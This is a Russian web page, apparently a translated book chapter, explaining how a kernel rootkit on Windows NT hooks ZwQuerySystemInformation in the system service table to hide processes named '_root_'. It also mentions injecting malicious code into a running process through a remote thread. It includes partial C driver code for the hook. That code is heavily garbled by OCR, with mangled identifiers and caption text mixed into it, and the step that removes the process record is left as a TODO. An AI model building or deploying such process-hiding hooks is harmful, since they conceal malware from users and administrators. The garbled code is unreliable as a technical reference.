На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Перехват вызовов

Перехват вызов представляет собой очень популярный метод хакинга по причине его простоты. Разумеется, программы делают вызовы подпрограмм. На машинном языке эти вызовы функций преобразуются в другие разновидности вызовов или в команды перехода. Аргументы передаются нужной функции с помощью стека или регистров центрального процессора. Команда всегда использует адрес памяти. Этот адрес в памяти представляет собой начало кода подпрограммы. После завершения

выполнения подпрограммы управление возвращается в область памяти с оригинальным кодом и продолжается выполнение основной программы.
При перехвате вызова хитрость заключается в изменении адреса, по которому вызовом передается управление. Таким образом можно заменить оригинальную функцию другой нужной хакеру функцией. Иногда это называют использованием "трамплинов" (trampolining). Перехват вызовов может применяться в нескольких местах: во внешних вызовах функций внутри программы, при вызовах функций из библиотек DLL или даже при вызовах системных функций. При перехвате вызова могут эмулироваться действия оригинального вызова (обычно это делается благодаря тому, что в конечном итоге действительно вызывается запрошенная функция), что позволяет избежать обнаружения подмены. Обратите внимание, что при перехвате вызова могут использоваться специфические изменения оригинального вызова. Например, если при вызове функции планируется получить список запущенных в данное время процессов, то при перехвате вызова некоторые из этих процессов могут быть скрыты. Такой метод является стандартным при установке в системе "потайных ходов". Пакеты утилит для обеспечения перехвата вызовов являются стандартным компонентом многих наборов средств для взлома.
Сокрытие процесса
Хакер должен контролировать ту информацию, которую пользовательские программы получают в ответ от системных вызовов. Если хакер может управлять системными вызовами, он способен контролировать и данные о системе, которые предоставляет диспетчер задач с помощью стандартных запросов. Это касается и управления доступом к списку запущенных процессов.
Перехват системного вызова
Наша программа перехвата вызова достаточно проста, как показано ниже.
VOID HookSysca!ls( void)
Сохраняем прежний указатель функции
Заменяем указатель новым указателем функции
DbgPrint("rootkit: перехват системных еызовов\п"); /* сокрытие процесса */ .. OldZwQuerySystemlnforrriatiofi = (ZWQUEFTOSTEM INFORM AT ION) ' (SiTSTEMSERVICE(ZwQuerySystemlnformation)); asmcli <-
/* сокрытие процесса */ (ZWQUERYSY5TEM INFO RMAT ION) (S¥STa^SERvlCE(2vvQiierySysterTilri1orrnation))= N ewZwQu erySystemlnf ormation; _asm sti <-
Временное отключение прерываний
Мы сохраняем прежний указатель к функции ZwQuerySystemlnformation. Заменяем этот указатель в таблице переходов указателем к нашей собственной функцииЪIеюгм<2иегу5у5Ъет1гЛormationl При перезаписи указателя функции мы временно отключаем прерывания. Это позволяет обойтись без конфликтов с другим потоком. Когда мы опять активируем прерывания, считается, что перехват системного вызова уже произошел, и мы немедленно начинаем принимать другие вызовы.

Схема перехвата вызова
Рассмотрим самый элементарный перехват вызова — осуществляется только вызов оригинальной функции и возвращение результатов. Таким образом, перехват "вообще ничего не делает". Компьютер продолжает работать нормально (замедление работы при перенаправлении вызовов заметить практически невозможно).
NTSTATUS NewZwQuerySystemlnformation( IN ULONG SystemlnformationClass,
IN PVOID Systemlnformation,
IN ULONG SystemlnformationLength,
OUT PULONG ReturnLength
NTSTATUS rc;
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemlnformation)) ( SystemlnformationClass, Systemlnformation, SystemlnformationLength, ReturnLength);
return(rc);
Вызов
оригинальной функции
Удаление записи о процессе
ЕСЛИ нашей целью является сокрытие процесса, придется добавить программный код к нашему перехвату. Новый перехват вызова с возможностью сокрытия процесса выглядит следующим образом.
NTSTATU S N ewZwQ ue гу Syste m In fc rmation{ IN ULONG SystemlnformationClass,
IN PVOID Systemlnformation,
IN ULONG SystemlnformationLength,
OUT PULONG ReturnLength
NTSTATUS rc;
__rc = ((ZWQUEFfVSYSTEMINF0RMATION)(01dZwQuerySystemlnformation)) (
Сначала SystemlnformationClass, выполняем Systemlnformation, действительный SystemlnformationLength,
вызов_ ReturnLength);
I if (5 == SystemlnformationClass)
Проверяем,
// Это список процессов
// ищем процессы, имена которых начинаются с '_root_' struct _SYSTErvLPROCESSES *curr = (struct_SYSTEM_PROCESSES*)Systemlnformatton;
предназначен ли stmct _SYSTEM_PROCESSES *prev = NULL;
этот вызов для вывода while(curr) списка процессов i

Просматриваем все записи о процессах и проверяем имя процесса
ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < processname.Length) && (255 > process name.Length)) (
if(0 ==
memcmp( processname.Buffer, "_root_", 6)) {
// TODO: здесь мы "вырезаем" процесс
)
>
На 1 показано, каким образом записи о процессах сохраняются в массиве.
Как только мы "вырезали" запись, мы возвращаемся из вызова функции. Диспетчер задач получает измененные данные и пропускает запись о процессе. Таким образом нам удалось скрыть процесс.
Мы продемонстрировали, что в системе Windows NT драйвер устройства способен перехватить любой системный вызов. В стандартном драйвере устройства всегда присутствует функция DriverEntry (эквивалент функции main () ). В этой функции можно разместить любой перехват вызова.
Процедуре загрузки драйвера передаются указатели к оригинальным функциям. Они сохранены глобально для всеобщего доступа. Мы отключаем прерывания на
чипе Intel х86 с помощью команд asm cli и_asm sti. На время отключения
прерываний адреса функций заменяются "троянскими" версиями в таблице переходов. Для определения корректных смещений в таблице мы используем #define.

После завершения всех замен мы можем без опасений восстановить действие прерываний. При выгрузке драйвера мы выполняем ту же последовательность действий с той разницей, что возвращаем значения указателей для оригинальных функций.
Альтернативное внедрение процесса
Еще один метод маскировки вредоносной программы заключается в присоединении вредоносного кода к запущенному процессу. Например, мы можем создать внешний поток в существующем процессе. Внешний поток запускает вредоносный программный код. Список процессов остается без изменений. При этом методе атаки достаточно работать с правами пользователя и поэтому нет необходимости в доступе на уровне ядра. Эта хитрость была использована в популярной программе Back Orifice 2000.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика